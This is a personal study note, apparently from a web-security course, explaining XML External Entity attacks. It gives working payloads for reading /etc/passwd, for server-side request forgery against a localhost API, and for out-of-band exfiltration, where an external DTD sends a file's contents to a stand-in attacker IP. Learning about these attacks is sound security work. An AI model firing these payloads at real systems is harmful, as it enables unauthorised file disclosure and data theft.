Skip to content

XML External Entity (XXE) Attack

Extensible Markup Language (XML)

XML syntax

If you wanna use "<" or "> " you can do it by encode data using function CDATA 2023051417011010 XML#^237eca

DTD it like variable in programming language. DTDs are defined at the beginning of an XML document with a special DOCTYPE tag.

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name [  
... one or more entities ...  
]>

Discovering XXE vulnerability

<?xml version="1.0" ?> <!DOCTYPE data [  
<!ELEMENT data ANY > <!ENTITY lastname "Replaced"> ]>

<Contact> <lastName>&lastname;</lastName> 
<firstName>Tom</firstName>

</Contact>
if the parser replaces the entity reference “&lastname;” with “Replaced” (the entity’s value), the parser is vulnerable to XXE

Retrieving a file

<?xml version="1.0"?>  
<!DOCTYPE data [  
<!ELEMENT data ANY >  
<!ENTITY lastname SYSTEM "file:///etc/passwd"> ]>

<Contact> <lastName>&lastname;</lastName> 
<firstName>Tom</firstName>

</Contact>
If an application shows lastname in UI and an application has access to /etc/passwd we can see content of /etc/passwd

Error-based Testing

If an application returns a verbose error we can use it to exfiltrate information.

  • If an application parsed xml results saved to database we can try to force SQL error based on column data type or length. See examples here 2023051417011010 XML#^23cd2f
  • We can try to generate an error by forcing the application parser to access a file that doesn't exist.

SSRF using XXE

If the parser allows to do external requests, we can try to get access to some private API. See about SSRF here 202305201524033 SSRF Server-side Request Forgery

<?xml version="1.0"?>  
<!DOCTYPE data [  
<!ELEMENT data ANY >  
<!ENTITY lastname SYSTEM "http://localhost/someapi"> ]>

<Contact> <lastName>&lastname;</lastName>
<firstName>Tom</firstName>
</Contact>

Out-of-Band Exploitation

It needs in cases when we can't obtain XXE results or obtain verbose error. external.dtd

<!ENTITY % content SYSTEM "file:///etc/timezone">

<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://an attacker's ip address/out?%content;'>" >
Add external.dtd to an attacker's http server.

Payload:

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE oob [  
<!ENTITY % base SYSTEM "http://an attacker's ip address/external.dtd"> %base;  
%external;  
%exfil;  
]>  
<entity-engine-xml>  
</entity-engine-xml>
See an attacker's http server logs. For example apache logs
tail  /var/log/apache2/access.log 
See details here 2023051417011010 XML#^2cd6dd

References

  1. https://en.wikipedia.org/wiki/XML_external_entity_attack
  2. web200.XML External Entities
  3. web200, p. 279 ^237eca
  4. web200, p. 294 ^23cd2f
  5. web200, p.296 ^2cd6dd